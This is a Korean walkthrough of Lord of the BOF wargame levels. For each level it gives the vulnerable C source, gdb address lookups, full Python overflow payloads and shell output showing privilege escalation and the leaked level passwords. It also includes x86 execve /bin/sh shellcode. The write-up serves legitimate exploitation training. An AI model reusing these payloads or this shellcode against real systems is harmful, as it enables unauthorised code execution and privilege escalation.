library로 점프하지 못하기 때문에 다른 방법을 사용해야한다. 쉽게 생각해보자. 첫번째 ret을 통해 다시한번 ret을 실행할 수 있는 위치로 점프한다고 생각해보자. 그러면 두번째 ret은 ret주소를 넣어준 다음 위치의 값으로 점프하게 될 것이다.

낮은 주소
              |   esp   |
-------------------------
first ret     |  &ret   |
-------------------------
second ret    | &system |
-------------------------
systemret     | dummy   |
-------------------------
system argv1  | &/bin/sh|
-------------------------
높은 주소

이런 식으로 스택을 구성하게 된다면 체크하는 처음 점프하는 영역이 stack, library 영역이 아니면서 system(“/bin/sh”)를 실행할 수 있다.

/bin/sh 주소는 이전 문제와 마찬가지로 찾았다.

필요한 주소를 찾으면 다음과 같다.

0x400fbff9 = /bin/sh
(gdb) print system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
0x804851e <main+174>:	ret

payload는 다음과 같다. “A” * 44 (dummy) + ret 주소 + system 주소 + “AAAA” + /bin/sh 주소

/home/giant/assassin python -c 'print "A"*44+"\x1e\x85\x04\x08"+"\xe0\x8a\x05\x40"+"AAAA"+"\xf9\xbf\x0f\x40"'

[giant@localhost giant]$ /home/giant/assassin `python -c 'print "A"*44+"\x1e\x85\x04\x08"+"\xe0\x8a\x05\x40"+"AAAA"+"\xf9\xbf\x0f\x40"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA??@AAAA廈@
bash$ id
uid=514(giant) gid=514(giant) euid=515(assassin) egid=515(assassin) groups=514(giant)
bash$ my-pass
euid = 515
pushing me away

assassin

password is pushing me away

Problem


[assassin@localhost assassin]$ cat zombie_assassin.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - zombie_assassin
        - FEBP
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
	char buffer[40];

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] == '\xbf')
	{
		printf("stack retbayed you!\n");
		exit(0);
	}

        if(argv[1][47] == '\x40')
        {
                printf("library retbayed you, too!!\n");
                exit(0);
        }

	// strncpy instead of strcpy!
	strncpy(buffer, argv[1], 48);
	printf("%s\n", buffer);
}

Solution

이전 문제는 ret로 점프했다면 이 문제는 leave 로 점프하여 변화된 EBP를 이용하는 문제이다.

              |   esp   |   ebp   |   eip  |
--------------------------------------------
leave         |  정상   |   변조   |  정상  |
--------------------------------------------
ret           |  정상   |   변조   | &leave |
--------------------------------------------
leave         | 변조+4  |  [변조]  |  &ret  |
--------------------------------------------
ret           | 변조+8  |  [변조]  |[변조+4]|
--------------------------------------------
각 명령어가 끝난 뒤 레지스터의 상태이다 정상은 bof가 일어나지 않았을 경우와 같다는 것을 의미한다.

따라서 [변조+4]가 system 주소이고, [변조+8+4]이 /bin/sh 주소이면 마지막 ret에 의해 system(“/bin/sh”)가 실행된다.

필요 주소 : system, /bin/sh, leave 주소

(gdb) print system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>

0x400fbff9 = /bin/sh

0x80484df <main+159>:	leave  
0x80484e0 <main+160>:	ret

payload = system 주소 + “A”4 + /bin/sh 주소 + “A”28 + FEBP(payload 시작주소 - 4) + leave 주소

python -c 'print "\xe0\x8a\x05\x40" + "A"*4 + "\xf9\xbf\x0f\x40" + "A"*28 + "BBBB" + "\xdf\x84\x04\x08"'

을 통해 먼저 gdb로 BBBB에 해당하는 FEBP 값을 알아낼 것이다.

(gdb) x/4wx $ebp-40
0xbffffa80:	0x40058ae0	0x41414141	0x400fbff9	0x41414141

FEBP = 0xbffffa7c 이다.

~/zombie_assassi2 python -c 'print "\xe0\x8a\x05\x40" + "A"*4 + "\xf9\xbf\x0f\x40" + "A"*28 + "\x7c\xfa\xff\xbf" + "\xdf\x84\x04\x08"'

core를 얻어 진짜 payload의 주소를 구해 FEBP를 수정하면 쉘을 얻을 수 있다.

(gdb) x/4wx 0xbffffa60
0xbffffa60:	0x40058ae0	0x41414141	0x400fbff9	0x41414141

payload의 주소는 0xbffffa60 이고 FEBP는 0xbfffa5c가 되어야 한다. ~/zombie_assassi2 python -c 'print "\xe0\x8a\x05\x40" + "A"*4 + "\xf9\xbf\x0f\x40" + "A"*28 + "\x5c\xfa\xff\xbf" + "\xdf\x84\x04\x08"'

[assassin@localhost assassin]$ ~/zombie_assassi2 `python -c 'print "\xe0\x8a\x05\x40" + "A"*4 + "\xf9\xbf\x0f\x40" + "A"*28 + "\x5c\xfa\xff\xbf" + "\xdf\x84\x04\x08"'`
?@AAAA廈@AAAAAAAAAAAAAAAAAAAAAAAAAAAA\?욀?
bash$ exit  
exit
Segmentation fault (core dumped)
[assassin@localhost assassin]$ ~/zombie_assassin `python -c 'print "\xe0\x8a\x05\x40" + "A"*4 + "\xf9\xbf\x0f\x40" + "A"*28 + "\x5c\xfa\xff\xbf" + "\xdf\x84\x04\x08"'`
?@AAAA廈@AAAAAAAAAAAAAAAAAAAAAAAAAAAA\?욀?
bash$ id    
uid=515(assassin) gid=515(assassin) euid=516(zombie_assassin) egid=516(zombie_assassin) groups=515(assassin)
bash$ my-pass
euid = 516
no place to hide

zombie_assassin

password is no place to hide

Problem

[zombie_assassin@localhost zombie_assassin]$ cat succubus.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - succubus
        - calling functions continuously
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

// the inspector
int check = 0;

void MO(char *cmd)
{
        if(check != 4)
                exit(0);

        printf("welcome to the MO!\n");

	// olleh!
	system(cmd);
}

void YUT(void)
{
        if(check != 3)
                exit(0);

        printf("welcome to the YUT!\n");
        check = 4;
}

void GUL(void)
{
        if(check != 2)
                exit(0);

        printf("welcome to the GUL!\n");
        check = 3;
}

void GYE(void)
{
	if(check != 1)
		exit(0);

	printf("welcome to the GYE!\n");
	check = 2;
}

void DO(void)
{
	printf("welcome to the DO!\n");
	check = 1;
}

main(int argc, char *argv[])
{
	char buffer[40];
	char *addr;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// you cannot use library
	if(strchr(argv[1], '\x40')){
		printf("You cannot use library\n");
		exit(0);
	}

	// check address
	addr = (char *)&DO;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with DO\n");
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

        // stack destroyer
	// 100 : extra space for copied argv[1]
        memset(buffer, 0, 44);
	memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));

	// LD_* eraser
	// 40 : extra space for memset function
	memset(buffer-3000, 0, 3000-40);
}

Solution

DO, GYE, GUL, YUT, MO를 순서대로 호출되게 진행하고 MO의 첫번째 인자를 조작하여 쉘을 얻어야한다.

삭제되는 메모리 영역은 다음과 같다.

ebp - 40 ~ ebp + 4 // memset(buffer, 0, 44); ebp + 108 ~ 0xbfffffff // memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100)); ebp - 3040 ~ ebp - 80

즉 우리가 사용할 수 있는 메모리 영역은 ebp+4 ~ ebp+108 이다.

(gdb) print DO
$1 = {<text variable, no debug info>} 0x80487ec <DO>
(gdb) print GYE
$2 = {<text variable, no debug info>} 0x80487bc <GYE>
(gdb) print GUL
$3 = {<text variable, no debug info>} 0x804878c <GUL>
(gdb) print YUT
$4 = {<text variable, no debug info>} 0x804875c <YUT>
(gdb) print MO
$5 = {<text variable, no debug info>} 0x8048724 <MO>
0x400fbff9 = /bin/sh

payload = “A”*44 + DO 주소 + GYE 주소 + GUL 주소 + YUT 주소 + MO 주소 + “AAAA” + /bin/sh 주소

~/succubus python -c 'print "A"*44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "AAAA" + "\xf9\xbf\x0f\x40"'

하지만 /bin/sh 주소를 넣어주기 위해 0x400fbff9를 사용한다면 You cannot use library 라는 에러 메시지와 함께 종료된다. 이를 해결하기 위해 argv[1] 끝에 /bin/sh를 붙여 이용하자. argv[1]에서의 주소를 구해봤자 어차피 삭제되기 때문에 buffer에 남는 주소를 구해야한다.

Starting program: /home/zombie_assassin/succubu2 `python -c 'print "A"*44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "AAAA" + "BBBB" + "/bin/sh"'`

(gdb) x/s $ebp-40
0xbffffa30:	 'A' <repeats 44 times>, "?207\004\b?207\004\b\214\207\004\b\\\207\004\b$\207\004\bAAAABBBB/bin/sh"
(gdb) x/s $ebp-40+72
0xbffffa78:	 "/bin/sh"

~/succubu2 python -c 'print "A"*44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "AAAA" + "\x78\xfa\xff\xbf"+"/bin/sh"'

core를 이용해 다시 /bin/sh의 주소를 구하면

(gdb) x/s 0xbffffa58
0xbffffa58:	 "/bin/sh"

~/succubu2 python -c 'print "A"*44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "AAAA" + "\x58\xfa\xff\xbf"+"/bin/sh"'

[zombie_assassin@localhost zombie_assassin]$ ~/succubu2 `python -c 'print "A"*44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "AAAA" + "\x58\xfa\xff\xbf"+"/bin/sh"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?펶??\?$?AAAAX??bin/sh
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
bash$ exit
exit
Segmentation fault (core dumped)
[zombie_assassin@localhost zombie_assassin]$ ~/succubus `python -c 'print "A"*44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "AAAA" + "\x58\xfa\xff\xbf"+"/bin/sh"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?펶??\?$?AAAAX??bin/sh
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
bash$ id
uid=516(zombie_assassin) gid=516(zombie_assassin) euid=517(succubus) egid=517(succubus) groups=516(zombie_assassin)
bash$ my-pass
euid = 517
here to stay

succubus

password is here to stay

Problem

[succubus@localhost succubus]$ cat nightmare.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - nightmare
        - PLT
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>

main(int argc, char *argv[])
{
	char buffer[40];
	char *addr;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// check address
	addr = (char *)&strcpy;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with strcpy()\n");
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

	// dangerous waterfall
	memset(buffer+40+8, 'A', 4);
}

Solution

첫 리턴은 strcpy로 고정되어 있고 strcpy의 ret는 “AAAA”로 변환되어 있다.

이를 첫 리턴인 strcpy를 이용해서 strcpy의 ret을 system으로 만들고 system의 인자를 /bin/sh로 바꾸면 된다.

               |    mean    |   value   |
-------------------------
buffer + 44    |  first ret |  strcpy 고정
-----------------------------------------
buffer + 48    | second ret | AAAA -> system
-----------------------------------------
buffer + 52    |strcpy 인자1| buffer+48
-----------------------------------------
buffer + 56    |strcpy 인자2| buffer  --> system 인자1 /bin/sh 주소
-----------------------------------------

strcpy(buffer+48, buffer) 가 실행되고 buffer+48은 system 주소로 buffer+56이 /bin/sh 주소로 바뀌기 위해서 argv[1]은 다음과 같이 구성해야한다.

system 주소 + “AAAA” + /bin/sh 주소 + “A”*32 + strcpy 주소 + “AAAA” + (buffer+48) 주소 + buffer 주소

이렇게 payload를 구성하면 strcpy(buffer+48, buffer) -> system(“/bin/sh”) 의 순서로 프로그램이 진행될 것이다.

필요한 주소는 다음과 같다.

(gdb) print system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
(gdb) print strcpy
$2 = {char *(char *, char *)} 0x400767b0 <strcpy>

0x400fbff9 = /bin/sh

python -c 'print "\xe0\x8a\x05\x40" + "AAAA" + "\xf9\xbf\x0f\x40" + "A"*32 + "\xb0\x67\x07\x40" + "AAAA" + "CCCC" + "CCCC"'

이렇게 gdb를 실행하면 You must fall in love with strcpy() 에러 메시지를 출력하고 종료된다. 이를 해결하기 위해 memcmp 에 BP를 걸고 테스트해보면 strcpy의 주소가 0x400767b0이 아닌 0x08048410임을 확인할 수 있다. 이는 PLT, GOT 개념의 strcpy 주소이다. 자세한 plt, got 개념 설명은 생략하겠다.

(gdb) x/3i 0x08048410
0x8048410 <strcpy>:	jmp    *0x8049878
0x8048416 <strcpy+6>:	push   $0x40
0x804841b <strcpy+11>:	jmp    0x8048380 <_init+48>

즉 strcpy@plt 는 0x8048410이고 got는 0x08049878이다. strcpy를 처음 실행할때 *0x08049878 = 0x08048416일 것이며 한번 실행된 뒤에는 *0x08049878 = 0x400767b0이 될 것이다.

payload를 수정하면

python -c 'print "\xe0\x8a\x05\x40" + "AAAA" + "\xf9\xbf\x0f\x40" + "A"*32 + "\x10\x84\x04\x08" + "AAAA" + "CCCC" + "CCCC"' 이고 이를 통해 buffer의 주소를 구하면

(gdb) x/8wx $ebp-40
0xbffffa80:	0x40058ae0	0x41414141	0x400fbff9	0x41414141
0xbffffa90:	0x41414141	0x41414141	0x41414141	0x41414141

buffer 주소는 0xbffffa80이다. 따라서 최종적으로 만들어진 payload는 다음과 같다.

python -c 'print "\xe0\x8a\x05\x40" + "AAAA" + "\xf9\xbf\x0f\x40" + "A"*32 + "\x10\x84\x04\x08" + "AAAA" + "\xb0\xfa\xff\xbf" + "\x80\xfa\xff\xbf"'

이를 통해 core를 얻고 gdb를 이용해 buffer의 주소를 수정하여 넣어주면 쉘을 얻을 수 있다.

(gdb) x/8wx 0xbffffa60
0xbffffa60:	0xbffffaa0	0x00000041	0x00000004	0x08048410
0xbffffa70:	0x40058ae0	0x41414141	0x400fbff9	0x41414141

buffer의 주소는 0xbffffa70이다.

python -c 'print "\xe0\x8a\x05\x40" + "AAAA" + "\xf9\xbf\x0f\x40" + "A"*32 + "\x10\x84\x04\x08" + "AAAA" + "\xa0\xfa\xff\xbf" + "\x70\xfa\xff\xbf"'

[succubus@localhost succubus]$ ~/nightmar2 `python -c 'print "\xe0\x8a\x05\x40" + "AAAA" + "\xf9\xbf\x0f\x40" + "A"*32 + "\x10\x84\x04\x08" + "AAAA" + "\xa0\xfa\xff\xbf" + "\x70\xfa\xff\xbf"'`
?@AAAA廈@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?AAAA??퓈?
bash$ exit   
exit
Segmentation fault (core dumped)
[succubus@localhost succubus]$ ~/nightmare `python -c 'print "\xe0\x8a\x05\x40" + "AAAA" + "\xf9\xbf\x0f\x40" + "A"*32 + "\x10\x84\x04\x08" + "AAAA" + "\xa0\xfa\xff\xbf" + "\x70\xfa\xff\xbf"'`
?@AAAA廈@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?AAAA??퓈?
bash$ id    
uid=517(succubus) gid=517(succubus) euid=518(nightmare) egid=518(nightmare) groups=517(succubus)
bash$ my-pass
euid = 518
beg for me

nightmare

password is beg for me

Problem

[nightmare@localhost nightmare]$ cat xavius.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - xavius
        - arg
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

main()
{
	char buffer[40];
	char *ret_addr;

	// overflow!
	fgets(buffer, 256, stdin);
	printf("%s\n", buffer);

	if(*(buffer+47) == '\xbf')
	{
		printf("stack retbayed you!\n");
		exit(0);
	}

	if(*(buffer+47) == '\x08')
        {
                printf("binary image retbayed you, too!!\n");
                exit(0);
        }

	// check if the ret_addr is library function or not
	memcpy(&ret_addr, buffer+44, 4);
	while(memcmp(ret_addr, "\x90\x90", 2) != 0)	// end point of function
	{
		if(*ret_addr == '\xc9'){		// leaved
			if(*(ret_addr+1) == '\xc3'){	// ret
				printf("You cannot use library function!\n");
				exit(0);
			}
		}
		ret_addr++;
	}

        // stack destroyer
        memset(buffer, 0, 44);
	memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

	// LD_* eraser
	// 40 : extra space for memset function
	memset(buffer-3000, 0, 3000-40);
}

지워지는 영역은 다음과 같다. buffer ~ buffer + 44 buffer + 48 ~ end of stack buffer-3000 ~ buffer-40

남는 영역 : buffer-40 ~ buffer, buffer + 44 ~ buffer+48 (ret_addr)

[nightmare@localhost nightmare]$ (python -c 'print "B"*48') | strace ./xaviu2

execve("./xaviu2", ["./xaviu2"], [/* 23 vars */]) = 0
brk(0)                                  = 0x8049a58
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40014000
open("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=12210, ...}) = 0
old_mmap(NULL, 12210, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40015000
close(3)                                = 0
open("/lib/libc.so.6", O_RDONLY)        = 3
fstat(3, {st_mode=S_IFREG|0755, st_size=4101324, ...}) = 0
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\210\212"..., 4096) = 4096
old_mmap(NULL, 1001564, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40018000
mprotect(0x40105000, 30812, PROT_NONE)  = 0
old_mmap(0x40105000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0xec000) = 0x40105000
old_mmap(0x40109000, 14428, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40109000
close(3)                                = 0
mprotect(0x40018000, 970752, PROT_READ|PROT_WRITE) = 0
mprotect(0x40018000, 970752, PROT_READ|PROT_EXEC) = 0
munmap(0x40015000, 12210)               = 0
personality(PER_LINUX)                  = 0
getpid()                                = 17675
fstat64(0, 0xbffff974)                  = -1 ENOSYS (Function not implemented)
fstat(0, {st_mode=S_IFIFO|0600, st_size=49, ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40015000
read(0, "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"..., 4096) = 49
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40016000
ioctl(1, TCGETS, {B9600 opost isig icanon echo ...}) = 0
write(1, "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"..., 49BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
) = 49
write(1, "\n", 1
)                       = 1
--- SIGSEGV (Segmentation fault) ---

0x40015000에 read함수가 사용되는 것을 볼 수 있다. 이는 fgets가 임시 버퍼를 두는 공간이라고 한다.

이 문제에서 libc 영역에 뛰는 것은 방지했지만 40xxxxxx 영역에 뛰는 것 자체를 막은 것은 아니다. 또한

40014000-40017000 rw-p 00000000 00:00 0

gdb에서 해당 프로세스의 메모리 맵을 봤을때 실행권한이 없다고 표시된다. 하지만 직접 테스트해보면

(gdb) x/s 0x40015000
0x40015000:	 '\220' <repeats 48 times>, "\n"
(gdb) set $eip=0x40015000
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x40016000 in ?? ()

실행이 되는 모습을 볼 수 있다.

즉 maps에 표시되는 메모리 권한이 잘못되었음을 알 수 있다.

이를 이용해서 문제를 해결하자.

payload는 다음과 같다.

NOP * 19 + shellcode 25byte + 0x40015001 주소 (ret, NULL 제외)

“\x90” * 19 + “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80” + “\x01\x50\x01\x40”

[nightmare@localhost nightmare]$ (python -c 'print "\x90" * 19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x01\x50\x01\x40"';cat) | /home/nightmare/xavius
???????????????????1픐h//shh/bin??S??柰
                                         ?P@

id
uid=518(nightmare) gid=518(nightmare) euid=519(xavius) egid=519(xavius) groups=518(nightmare)
my-pass
euid = 519
throw me away

xavius

password is throw me away

Problem

[xavius@localhost xavius]$ cat death_knight.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - dark knight
        - remote BOF
*/

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <dumpcode.h>

main()
{
	char buffer[40];

	int server_fd, client_fd;  
	struct sockaddr_in server_addr;   
	struct sockaddr_in client_addr;
	int sin_size;

	if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
		perror("socket");
		exit(1);
	}

	server_addr.sin_family = AF_INET;        
	server_addr.sin_port = htons(6666);   
	server_addr.sin_addr.s_addr = INADDR_ANY;
	bzero(&(server_addr.sin_zero), 8);   

	if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){
		perror("bind");
		exit(1);
	}

	if(listen(server_fd, 10) == -1){
		perror("listen");
		exit(1);
	}

	while(1) {  
		sin_size = sizeof(struct sockaddr_in);
		if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){
			perror("accept");
			continue;
		}

		if (!fork()){
			send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);
			send(client_fd, "You : ", 6, 0);
			recv(client_fd, buffer, 256, 0);
			close(client_fd);
			break;
		}

		close(client_fd);  
		while(waitpid(-1,NULL,WNOHANG) > 0);
	}
	close(server_fd);
}

Solution

간단한 bof를 remote로 하는 것이다.

0x8048a05 <main+321>:	push   0
0x8048a07 <main+323>:	push   0x100
0x8048a0c <main+328>:	lea    %eax,[%ebp-40]
0x8048a0f <main+331>:	push   %eax
0x8048a10 <main+332>:	mov    %eax,DWORD PTR [%ebp-48]
0x8048a13 <main+335>:	push   %eax
0x8048a14 <main+336>:	call   0x804860c <recv>

my-pass를 실행하도록 쉘코드를 짜서 넣어도 의미가 없다. 왜냐하면 바이너리에서 my-pass를 실행한 결과는 해당 바이너리의 1번 fd로 출력될 뿐 나에게 돌아오지 않는다. 따라서 /tmp//sh를 실행하도록 하고 /tmp//sh에는 쉘 스크립트로 my-pass 결과를 /tmp/passwd에 쓰도록 했다.

리모트 환경이기 때문에 내가 넣은 쉘코드의 주소가 고정되어 있을 뿐 알아낼 수 없다. 이를 알아내기 위해 ret 되는 주소를 바꿔가면서 여러번 테스트하면 맞출 수 있다.

#!/bin/bash
my-pass > /tmp/passwd
chmod 644 /tmp/passwd

Clear!!!!